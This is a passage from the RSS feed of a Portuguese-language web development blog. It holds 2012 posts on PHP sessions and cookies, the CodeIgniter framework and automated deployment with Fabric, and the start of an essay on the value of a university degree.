índice &lt;code class=&quot;language-text&quot;&gt;usuario&lt;/code&gt; com o valor &lt;code class=&quot;language-text&quot;&gt;João&lt;/code&gt;. Estas informações estão
disponíveis somente no lado do servidor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Quando visitarmos o &lt;code class=&quot;language-text&quot;&gt;sessions.php&lt;/code&gt; novamente, o navegador informará ao
servidor que ele possui um &lt;em&gt;cookie&lt;/em&gt; chamado &lt;code class=&quot;language-text&quot;&gt;PHPSESSID&lt;/code&gt;. A partir daí
o &lt;em&gt;PHP&lt;/em&gt; pega o valor deste &lt;em&gt;cookie&lt;/em&gt;, recupera a sessão da memória (ou de
um banco de dados, ou arquivos em disco) e atribui este valor ao &lt;em&gt;array&lt;/em&gt;
global &lt;code class=&quot;language-text&quot;&gt;$_SESSION&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;O nome do &lt;em&gt;cookie&lt;/em&gt; varia de linguagem para linguagem e até mesmo de
&lt;em&gt;framework&lt;/em&gt; para &lt;em&gt;framework&lt;/em&gt;. Por exemplo, no &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; ele é chamado
por padrão de &lt;code class=&quot;language-text&quot;&gt;sessionid&lt;/code&gt;, no &lt;a href=&quot;/tag/codeigniter.html&quot; title=&quot;Leia mais sobre CodeIgniter&quot;&gt;&lt;em&gt;CodeIgniter&lt;/em&gt;&lt;/a&gt; é chamado de
&lt;code class=&quot;language-text&quot;&gt;ci_session&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Gostei muito de me aprofundar um pouquinho mais neste assunto, e gostei
mais ainda de poder traduzir este aprendizado através deste &lt;em&gt;post&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;É claro que há alguns cuidados com segurança quando o assunto é
&lt;em&gt;cookies&lt;/em&gt; e sessões, bem como considerações em relação ao uso de
&lt;em&gt;cache&lt;/em&gt;. Pretendo falar mais sobre esses temas em &lt;em&gt;posts&lt;/em&gt; vindouros.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.php.net/manual/en/book.session.php&quot; title=&quot;Confira a documentação oficial do PHP que fala sobre Sessões&quot;&gt;&lt;em&gt;PHP Manual – Session Handling&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.stanford.edu/~ouster/cgi-bin/cs142-fall10/lecture.php?topic=cookie&quot; title=&quot;Material resumido, mas muito bom, sobre sessões e Cookies&quot;&gt;&lt;em&gt;Stanford.edu – CS 142: Cookies and Session&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://wagnerelias.com/2009/02/06/http-essentials/&quot; title=&quot;Wagner nos apresenta de forma objetiva o funcionamento do protocolo HTTP&quot;&gt;&lt;em&gt;Wagner Elias&lt;/em&gt; – &lt;em&gt;HTTP Essentials&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://wagnerelias.com/2009/04/21/seguranca-de-cookies-de-sessao-e-httponly/&quot; title=&quot;Entenda as falhas de segurança apresentadas com o uso de sessões e cookies&quot;&gt;&lt;em&gt;Wagner Elias&lt;/em&gt; – Segurança de &lt;em&gt;Cookies&lt;/em&gt; de sessão e &lt;em&gt;HTTPOnly&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/HTTP_cookie&quot; title=&quot;Leia este bom artigo em inglês sobre Cookies&quot;&gt;&lt;em&gt;Wikipedia – HTTP Cookie&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[PHP ágil e divertido com CodeIgniter]]></title><description><![CDATA[Após experimentar alguns frameworks PHP, recentemente tenho
aplicado bastante tempo no estudo do CodeIgniter, e tive o prazer de
redescobrir…]]></description><link>https://klauslaube.com.br/2012/03/05/php-agil-e-divertido-com-codeigniter.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/03/05/php-agil-e-divertido-com-codeigniter.html</guid><pubDate>Mon, 05 Mar 2012 10:06:57 GMT</pubDate><content:encoded>&lt;p&gt;Após experimentar &lt;a href=&quot;/2010/11/27/agilidade-em-php-conhecendo-algumas-frameworks.html&quot; title=&quot;Agilidade em PHP: Conhecendo algumas frameworks – Parte 1&quot;&gt;alguns &lt;em&gt;frameworks&lt;/em&gt;&lt;/a&gt; &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;, recentemente tenho
aplicado bastante tempo no estudo do &lt;a href=&quot;http://codeigniter.com/&quot; title=&quot;CodeIgniter: Open source PHP web application framework&quot;&gt;&lt;strong&gt;CodeIgniter&lt;/strong&gt;&lt;/a&gt;, e tive o prazer de
redescobrir a diversão em programar nessa linguagem um tanto controversa.&lt;/p&gt;
&lt;p&gt;Logo de cara, quero recomendar o &lt;em&gt;screencast&lt;/em&gt; da &lt;a href=&quot;http://net.tutsplus.com/&quot; title=&quot;Web development tutorials, from beginner to advanced&quot;&gt;&lt;em&gt;Nettus+&lt;/em&gt;&lt;/a&gt; chamado
&lt;a href=&quot;http://net.tutsplus.com/sessions/codeigniter-from-scratch/&quot; title=&quot;Confira a série de screencasts sobre desenvolvimento com PHP e CodeIgniter&quot;&gt;&lt;em&gt;CodeIgniter From Scratch&lt;/em&gt;&lt;/a&gt;. Um excelente material para aprender (e
se aperfeiçoar) a desenvolver aplicações &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; com &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;PHP e MVC&lt;/h2&gt;
&lt;p&gt;Não há mistérios na forma como o &lt;em&gt;CodeIgniter&lt;/em&gt; trabalha com o &lt;a href=&quot;http://pt.wikipedia.org/wiki/MVC&quot; title=&quot;Leia mais sobre Model-View-Controller&quot;&gt;&lt;em&gt;MVC&lt;/em&gt;&lt;/a&gt;,
utilizando o “&lt;em&gt;MVC&lt;/em&gt; clássico”, com as rotas baseadas nos nomes do
controlador e das &lt;em&gt;actions&lt;/em&gt;, modelos com &lt;a href=&quot;http://pt.wikipedia.org/wiki/Mapeamento_objeto-relacional&quot; title=&quot;Leia mais sobre Mapeamento Objeto-Relacional&quot;&gt;&lt;em&gt;ORM&lt;/em&gt;&lt;/a&gt; através da
&lt;a href=&quot;http://www.phpactiverecord.org/&quot; title=&quot;Faça ORM em PHP com a ActiveRecord&quot;&gt;&lt;em&gt;ActiveRecord&lt;/em&gt;&lt;/a&gt;, e &lt;em&gt;views&lt;/em&gt; utilizando a linguagem natural do &lt;em&gt;PHP&lt;/em&gt;
para gerar a visualização das suas páginas.&lt;/p&gt;
&lt;p&gt;E este último, acredito ser uma das grandes vantagens do &lt;em&gt;PHP&lt;/em&gt; com
&lt;em&gt;MVC&lt;/em&gt;. Escrever &lt;em&gt;views&lt;/em&gt; com &lt;em&gt;PHP&lt;/em&gt; é muito mais “natural” do que em
qualquer outra linguagem (claro, se você entende de &lt;em&gt;PHP&lt;/em&gt;). Não é
necessário aprender nenhuma “linguagem de template”, como em alguns
&lt;em&gt;frameworks&lt;/em&gt;, pois é normal escrever o &lt;em&gt;PHP&lt;/em&gt; “mesclado” ao &lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML&quot;&gt;&lt;em&gt;HTML&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Em comparação à &lt;a href=&quot;http://cakephp.org/&quot; title=&quot;Conheça a CakePHP&quot;&gt;&lt;em&gt;CakePHP&lt;/em&gt;&lt;/a&gt; ou à &lt;a href=&quot;http://framework.zend.com/&quot; title=&quot;Conheça a poderosa Zend&quot;&gt;&lt;em&gt;Zend Framework&lt;/em&gt;&lt;/a&gt;, a verdade é que
o &lt;em&gt;CodeIgniter&lt;/em&gt; é relativamente “seco”. Ou seja, temos menos “recursos
mágicos” e somos obrigados a por a “mão na massa de verdade” em algumas
situações. Embora isso seja encarado como um ponto negativo por alguns,
essa característica acaba resultando em maior performance e
simplicidade.&lt;/p&gt;
&lt;h2&gt;Performance&lt;/h2&gt;
&lt;p&gt;A partir da versão &lt;strong&gt;2.0&lt;/strong&gt;, o &lt;em&gt;CodeIgniter&lt;/em&gt; deixou de dar suporte ao
&lt;em&gt;PHP 4&lt;/em&gt;, o que alavancou a sua performance (já que não é mais necessário criar
&lt;em&gt;fallbacks&lt;/em&gt; para os recursos do &lt;em&gt;PHP 5&lt;/em&gt;). Essa decisão permite que o
&lt;em&gt;framework&lt;/em&gt; rume cada vez mais para o caminho da &lt;a href=&quot;/tag/oop.html&quot; title=&quot;Leia mais sobre OOP&quot;&gt;Orientação a Objetos&lt;/a&gt;,
e que torne a nossa vida cada dia mais simples :)&lt;/p&gt;
&lt;p&gt;E performance é uma das qualidades e diferenciais do &lt;em&gt;CodeIgniter&lt;/em&gt;.
Segundo o &lt;a href=&quot;https://github.com/darkredz/Web-Framework-Benchmark/blob/master/benchmark.png&quot; title=&quot;Veja o repositório no GitHub do benchmark&quot;&gt;&lt;em&gt;benchmark&lt;/em&gt; realizado por &lt;em&gt;Leng Sheng Hong&lt;/em&gt;&lt;/a&gt;, o
&lt;em&gt;CodeIgniter&lt;/em&gt; fica atrás apenas do (também excelente) &lt;em&gt;DooPHP&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 610px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b94ae47d55cdd59aee08a11268d229c7/5aae9/benchmark-php.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 59.895833333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABdklEQVQoz41R2U7CQBTl/7/BmPji8qAYFilQiOEBNS4PbNWWDgiIBgpdZmtnujjt8ACYCDc3J3fu3JM5c27OpxRT6k4/p9/WkoRxHEdR9Bdl7NU5jAWXDDRw/jRpTXCSJKItMN5FGdt1SkYIEUJMTb97BQqAIzvIJo4jM8aI74Nuv9weqBOywExSjiJzzv0gMPtaqdquAfiDmOiGURJl6g+QQ84xJaCvKQW1Yjglw32cITl2+GUxIywWLyvFRgWg5gjej+HTF36Z4yXm2ff//XPAAlMzqpf58vNQGZM68KomrAHPWPs8FPKTMIplynrHbQ9BoBnq1a3aeqt/WPWh2xyhBkgl2JRJ87ciPWz2TMWiKNW7g5vTi9LJWV55uH53irorsqC7JcOTWcxqgRXTG2/WKQwTwsLQQr7psN7cMe2gN1sNF6gzsYwl7kxXxhKlHQv3ZmuBg7m9gj7BiDGeS5J9SakqAl1rIcCD0LOtkAdbt6mDUvYvAemmHwrQDo4AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Comparativo entre Frameworks PHP&amp;quot;&quot;
        title=&quot;Comparativo entre Frameworks PHP&quot;
        src=&quot;/static/b94ae47d55cdd59aee08a11268d229c7/5aae9/benchmark-php.png&quot;
        srcset=&quot;/static/b94ae47d55cdd59aee08a11268d229c7/8514f/benchmark-php.png 192w,
/static/b94ae47d55cdd59aee08a11268d229c7/804b2/benchmark-php.png 384w,
/static/b94ae47d55cdd59aee08a11268d229c7/5aae9/benchmark-php.png 610w&quot;
        sizes=&quot;(max-width: 610px) 100vw, 610px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Comparativo entre Frameworks PHP&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Em tempos onde performance e disponibilidade são premissas, e não mais
diferenciais, ter uma boa ferramenta ao seu lado facilita muito o
trabalho de atender a essas expectativas.&lt;/p&gt;
&lt;h2&gt;Simplicidade&lt;/h2&gt;
&lt;p&gt;Essa qualidade eu descobri recentemente, quando tive que usar a
&lt;a href=&quot;https://github.com/facebook/php-sdk&quot; title=&quot;Conheça a SDK-PHP do Facebook, no GitHub&quot;&gt;&lt;em&gt;SDK&lt;/em&gt; do &lt;em&gt;Facebook&lt;/em&gt;&lt;/a&gt; para desenvolver uma aplicação social com o
&lt;em&gt;CodeIgniter&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Foi tão simples quanto jogar a classe como uma biblioteca, fazer alguns
ajustes de nomenclatura e construção, e pronto! Estava pronta para usar,
dentro da estrutura e fluxo do &lt;em&gt;CodeIgniter&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Estender o &lt;em&gt;framework&lt;/em&gt; é simples e prático. Escrever &lt;em&gt;hooks&lt;/em&gt; e &lt;em&gt;helpers&lt;/em&gt;
é tão natural quanto escrever funções. Essa simplicidade vem aliada a
uma coleção de &lt;em&gt;features&lt;/em&gt; prontas disponíveis com o &lt;em&gt;core&lt;/em&gt; do
&lt;em&gt;framework&lt;/em&gt;. Também vale mencionar a facilidade de configuração e
instalação.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Se você procura um &lt;em&gt;framework PHP&lt;/em&gt; simples, que não seja tão “mágico” e
que permita para você um trabalho descomplicado com o &lt;em&gt;MVC&lt;/em&gt;, recomendo
&lt;em&gt;CodeIgniter&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;É claro que ele tem algumas desvantagens se comparado a outros
&lt;em&gt;frameworks&lt;/em&gt; do mercado. Por exemplo, acredito que o desenvolvimento com
o &lt;em&gt;CakePHP&lt;/em&gt; seja mais ágil e fácil se comparado ao &lt;em&gt;CI&lt;/em&gt; (é claro,
isso tem um custo na performance e tamanho). Mas com a versão &lt;strong&gt;2.x&lt;/strong&gt;, é
visível que a ferramenta está caminhando para um desenvolvimento de alto
nível.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Automatize o deploy dos seus projetos com Fabric]]></title><description><![CDATA[Durante a minha árdua trajetória com o PHP,
sempre fiz “subidas” de projetos utilizando um cliente FTP. Um
processo manual, extremamente…]]></description><link>https://klauslaube.com.br/2012/02/26/automatize-o-deploy-dos-seus-projetos-com-fabric.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/02/26/automatize-o-deploy-dos-seus-projetos-com-fabric.html</guid><pubDate>Sun, 26 Feb 2012 19:40:13 GMT</pubDate><content:encoded>&lt;p&gt;Durante a minha árdua trajetória com o &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;,
sempre fiz “subidas” de projetos utilizando um cliente &lt;a href=&quot;http://pt.wikipedia.org/wiki/File_Transfer_Protocol&quot; title=&quot;Leia mais sobre File Transfer Protocol&quot;&gt;&lt;em&gt;FTP&lt;/em&gt;&lt;/a&gt;. Um
processo manual, extremamente repetitivo (e chato).&lt;/p&gt;
&lt;p&gt;Já com &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, pude utilizar o &lt;a href=&quot;http://pt.wikipedia.org/wiki/SSH&quot; title=&quot;Leia mais sobre Secure Shell&quot;&gt;&lt;em&gt;SSH&lt;/em&gt;&lt;/a&gt;, que me proporcionou
maior agilidade e liberdade dentro do ambiente de produção. Mas que não
deixou de ser um processo manual, extremamente repetitivo, chato e muito
suscetível a falhas.&lt;/p&gt;
&lt;p&gt;Foi utilizando o &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; que conheci o &lt;a href=&quot;http://docs.fabfile.org/en/1.4.0/index.html&quot; title=&quot;A library and command-line tool for streamlining the use of SSH for application deployment or systems administration tasks&quot;&gt;&lt;em&gt;Fabric&lt;/em&gt;&lt;/a&gt;, e percebi
quanto tempo podemos economizar automatizando o processo de &lt;em&gt;deploy&lt;/em&gt; de
nossos projetos.&lt;/p&gt;
&lt;h2&gt;O agile e o deploy contínuo&lt;/h2&gt;
&lt;p&gt;Todo e qualquer procedimento de &lt;em&gt;upload&lt;/em&gt; do seu projeto para o ambiente
de produção corre algum tipo de risco. Com o &lt;em&gt;deploy&lt;/em&gt; automatizado,
a tendência é que este risco seja reduzido, e que você possa fazer a
entrega do seu projeto para &lt;a href=&quot;/2011/03/07/diferentes-ambientes.html&quot; title=&quot;Diferentes ambientes: Development, Testing, Staging e Production&quot;&gt;diversos ambientes&lt;/a&gt; com o menor esforço
possível.&lt;/p&gt;
&lt;p&gt;Logo, não consigo imaginar um cenário eficiente de &lt;em&gt;deploy&lt;/em&gt;
contínuo, sem a utilização de alguma ferramenta de automatização. É
através destas que respeitamos uma das premissas do &lt;a href=&quot;/tag/agile.html&quot; title=&quot;Leia mais sobre Agile&quot;&gt;&lt;em&gt;agile&lt;/em&gt;&lt;/a&gt;, e
diminuímos a incidência de falha humana.&lt;/p&gt;
&lt;h2&gt;Mas o que é o Fabric?&lt;/h2&gt;
&lt;p&gt;O &lt;strong&gt;&lt;em&gt;Fabric&lt;/em&gt;&lt;/strong&gt; é uma &lt;em&gt;lib&lt;/em&gt; &lt;em&gt;Python&lt;/em&gt;, e ferramenta de linha de comando,
para auxiliá-lo em seu &lt;em&gt;deploy&lt;/em&gt; e na administração remota dos seus
sistemas.&lt;/p&gt;
&lt;p&gt;Embora seja feita em &lt;em&gt;Python&lt;/em&gt;, pode ser utilizada em projetos escritos
em qualquer linguagem. Equivale ao &lt;a href=&quot;http://en.wikipedia.org/wiki/Capistrano&quot; title=&quot;Leia mais sobre o Capistrano&quot;&gt;&lt;em&gt;Capistrano&lt;/em&gt;&lt;/a&gt;, alternativa mais
famosa, escrita em &lt;em&gt;Ruby&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Em casa de ferreiro, espeto de ferro&lt;/h2&gt;
&lt;p&gt;Para dar um exemplo de uso do &lt;em&gt;Fabric&lt;/em&gt;, podemos utilizar o esquema de
&lt;em&gt;deploy&lt;/em&gt; deste &lt;em&gt;blog&lt;/em&gt;. Sim! O processo está automatizado, e você pode
&lt;a href=&quot;https://bitbucket.org/kplaube/klauslaube.com.br/src/d579e9d81641/fabfile.py&quot; title=&quot;Confira o script Fabric no repositório do BitBucket&quot;&gt;conferí-lo no &lt;em&gt;BitBucket&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Antes de mais nada, é necessário ter o &lt;em&gt;Fabric&lt;/em&gt; instalado:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install fabric&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Todo o procedimento será escrito em um arquivo chamado &lt;strong&gt;fabfile.py&lt;/strong&gt;.
Com o comando &lt;strong&gt;fab&lt;/strong&gt;, a ferramenta carregará este arquivo e permitirá a
execução de todos os métodos públicos definidos dentro dele.&lt;/p&gt;
&lt;p&gt;Vamos listar todos os métodos que &lt;a href=&quot;https://bitbucket.org/kplaube/klauslaube.com.br/src/d579e9d81641/fabfile.py&quot; title=&quot;Veja no BitBucket&quot;&gt;criei no &lt;strong&gt;fabfile.py&lt;/strong&gt; do &lt;em&gt;blog&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ fab -l

Available commands:

bootstrap            Initialize remote host environment.
collect_static       Collect all static files from Django apps and copy ...
create_virtualenv    Setup virtualenv on remote host.
database_restart     Restart the database server on remote server.
deploy               Send the code to the remote host.
http_restart         Restart the HTTP server on remote server.
migrate              Execute South on remote host, to update the databas...
production           Use production environment on remote host.
staging              Use staging environment on remote host.
syncdb               Execute syncdb on remote host.
update_apache_conf   Move apache and fastcgi files to the public html.
update_requirements  Update Python dependencies on remote host.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como é possível notar na listagem acima, temos operações de &lt;em&gt;deploy&lt;/em&gt;
(&lt;strong&gt;deploy&lt;/strong&gt;, &lt;strong&gt;syncdb&lt;/strong&gt;, &lt;strong&gt;update_requirements&lt;/strong&gt; e
&lt;strong&gt;update&lt;em&gt;apache&lt;/em&gt;conf&lt;/strong&gt;) e operações de administração remota
(&lt;strong&gt;database_restart&lt;/strong&gt;, &lt;strong&gt;http_restart&lt;/strong&gt;, &lt;strong&gt;migrate&lt;/strong&gt;, etc). Os métodos
&lt;strong&gt;production&lt;/strong&gt; e &lt;strong&gt;staging&lt;/strong&gt; são basicamente para “setar” para qual
ambiente o &lt;em&gt;deploy&lt;/em&gt; será realizado. Por exemplo, a cada nova subida de
&lt;em&gt;release&lt;/em&gt;, executo o seguinte comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ fab production deploy http_restart&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Onde basicamente:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Defino o usuário, &lt;em&gt;IP&lt;/em&gt;, e &lt;em&gt;paths&lt;/em&gt; para o ambiente de produção através do método &lt;strong&gt;production&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Executo o envio dos arquivos através de &lt;a href=&quot;http://pt.wikipedia.org/wiki/Rsync&quot; title=&quot;Leia mais sobre Rsync&quot;&gt;&lt;strong&gt;Rsync&lt;/strong&gt;&lt;/a&gt; para o servidor, com o método &lt;strong&gt;deploy&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Reinicio o &lt;em&gt;Apache&lt;/em&gt; através do método &lt;strong&gt;http_restart&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Se olharmos atentamente o &lt;a href=&quot;https://bitbucket.org/kplaube/klauslaube.com.br/src/d579e9d81641/fabfile.py#cl-101&quot; title=&quot;Veja em detalhes o método deploy&quot;&gt;método &lt;strong&gt;deploy&lt;/strong&gt;&lt;/a&gt;, utilizamos uma &lt;em&gt;lib&lt;/em&gt;
(importada no início do arquivo) chamada &lt;strong&gt;rsync_project&lt;/strong&gt;. Que
corresponde a ferramenta de linha de comando (encontrada em sistemas
baseados em &lt;em&gt;Unix&lt;/em&gt;) chamada &lt;strong&gt;rsync&lt;/strong&gt;. O que o &lt;em&gt;Fabric&lt;/em&gt; faz (com
maestria) é “abstrair” essas operações para que possamos fazer os nossos
procedimentos através de uma interface simples (outros comandos, como
&lt;strong&gt;scp&lt;/strong&gt; e &lt;strong&gt;sudo&lt;/strong&gt; também são utilizados pelo &lt;em&gt;Fabric&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;A função &lt;a href=&quot;https://bitbucket.org/kplaube/klauslaube.com.br/src/d579e9d81641/fabfile.py#cl-199&quot; title=&quot;Veja um exemplo de uso no fabfile.py&quot;&gt;&lt;strong&gt;run&lt;/strong&gt;&lt;/a&gt; faz grande parte da magia acontecer. Com ela,
abrimos uma conexão &lt;em&gt;SSH&lt;/em&gt; com o nosso servidor, e executamos comandos
como se estívessemos em um terminal. Extremamente útil para fazer
&lt;em&gt;restart&lt;/em&gt; de serviços, escalonamento de &lt;em&gt;logs&lt;/em&gt;, limpeza de temporários,
etc.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Fabric&lt;/em&gt; é muito simples de usar. Lendo o básico da documentação, já
somos capazes de automatizar os processos mais triviais.&lt;/p&gt;
&lt;p&gt;Recomendo o &lt;a href=&quot;https://bitbucket.org/copelco/caktus-deployment/src/6ad8ad84a938/example-django-project/caktus_website/fabfile.py&quot; title=&quot;Veja-o no BitBucket&quot;&gt;&lt;strong&gt;fabfile.py&lt;/strong&gt;&lt;/a&gt; da &lt;a href=&quot;http://www.caktusgroup.com/&quot; title=&quot;Visite o site da Caktus&quot;&gt;&lt;em&gt;Caktus Consulting Group&lt;/em&gt;&lt;/a&gt;. Simples
e bem escrito, foi nele que me baseei para escrever o &lt;em&gt;script&lt;/em&gt;
apresentado neste &lt;em&gt;post&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://docs.fabfile.org/en/1.4.0/index.html&quot; title=&quot;Fabric: a library and command-line tool for streamlining the use of SSH for application deployment or systems administration tasks&quot;&gt;&lt;em&gt;Fabric – Documentation&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://yuji.wordpress.com/2011/04/09/django-python-fabric-deployment-script-and-example/&quot; title=&quot;Excelente exemplo de uso do Fabric&quot;&gt;&lt;em&gt;Useful Stuff – Fabric Deployment Script and Example&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Graduação não é só diploma]]></title><description><![CDATA[Se eu fizer o exercício proposto por Steve Jobs, de “ligar os
pontos”, sou capaz de dizer que as melhores experiências profissionais
da…]]></description><link>https://klauslaube.com.br/2012/02/14/graduacao-nao-e-so-diploma.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/02/14/graduacao-nao-e-so-diploma.html</guid><pubDate>Tue, 14 Feb 2012 23:21:39 GMT</pubDate><content:encoded>&lt;p&gt;Se eu fizer o exercício proposto por &lt;em&gt;Steve Jobs&lt;/em&gt;, de &lt;strong&gt;“ligar os
pontos”&lt;/strong&gt;, sou capaz de dizer que as melhores experiências profissionais
da minha vida estão de alguma forma relacionadas com o &lt;strong&gt;ambiente
acadêmico&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Graças ao &lt;strong&gt;curso técnico&lt;/strong&gt;, tive a oportunidade de trabalhar com
&lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; desde o início da minha carreira. Já na &lt;strong&gt;graduação&lt;/strong&gt;, pude
conviver com pessoas muito mais inteligentes e interessantes que eu.
Pessoas com um conhecimento e &lt;em&gt;feeling&lt;/em&gt; sobre o mercado de Tecnologia da
Informação, que fizeram toda a diferença na minha vida.&lt;/p&gt;
&lt;p&gt;Também tive o prazer de trabalhar em duas empresas incubadas pelo
&lt;a href=&quot;http://www.catolicasc.org.br/&quot; title=&quot;UNERJ, atual Católica de Santa Catarina&quot;&gt;&lt;em&gt;Centro Universitário de Jaraguá do Sul (UNERJ)&lt;/em&gt;&lt;/a&gt;. Nelas, tive a liberdade e
oportunidade de explorar &lt;strong&gt;conceitos técnicos e de gestão&lt;/strong&gt;, que não
poderia exercer em hipótese alguma em outras empresas de porte maior.&lt;/p&gt;
&lt;p&gt;São essas experiências, aliadas a um conjunto de valores, que me
permitem escrever para você hoje como &lt;strong&gt;analista e desenvolvedor web&lt;/strong&gt;
da &lt;a href=&quot;http://globo.com&quot; title=&quot;Absolutamente tudo sobre notícias e entretenimento&quot;&gt;&lt;em&gt;Globo.com&lt;/em&gt;&lt;/a&gt;. Uma empresa que acredita muito mais no que você pode
mostrar, e não no que instituições de ensino têm a dizer a seu respeito.&lt;/p&gt;
&lt;p&gt;E vejo esta tendência, de profissionais e instituições contestarem o
valor da graduação, ganhar cada vez mais força. É fato que o diploma não
garante que você será um bom profissional, somente a prática e
experiência poderão certificar isso. Se olharmos para a história,
veremos que pessoas como o próprio &lt;a href=&quot;http://pt.wikipedia.org/wiki/Steve_Jobs&quot; title=&quot;Leia mais sobre Steve Jobs na Wikipedia&quot;&gt;&lt;em&gt;Steve Jobs&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;http://pt.wikipedia.org/wiki/Bill_Gates&quot; title=&quot;Leia mais sobre Bill Gates na Wikipedia&quot;&gt;&lt;em&gt;Bill Gates&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;http://akitaonrails.com/&quot; title=&quot;Conheça o Fábio Akita&quot;&gt;&lt;em&gt;Fábio Akita&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;http://marcogomes.com/blog/&quot; title=&quot;Conheça um dos jovens empreendedores de maior sucesso no país&quot;&gt;&lt;em&gt;Marco Gomes&lt;/em&gt;&lt;/a&gt;, nem sequer terminaram a
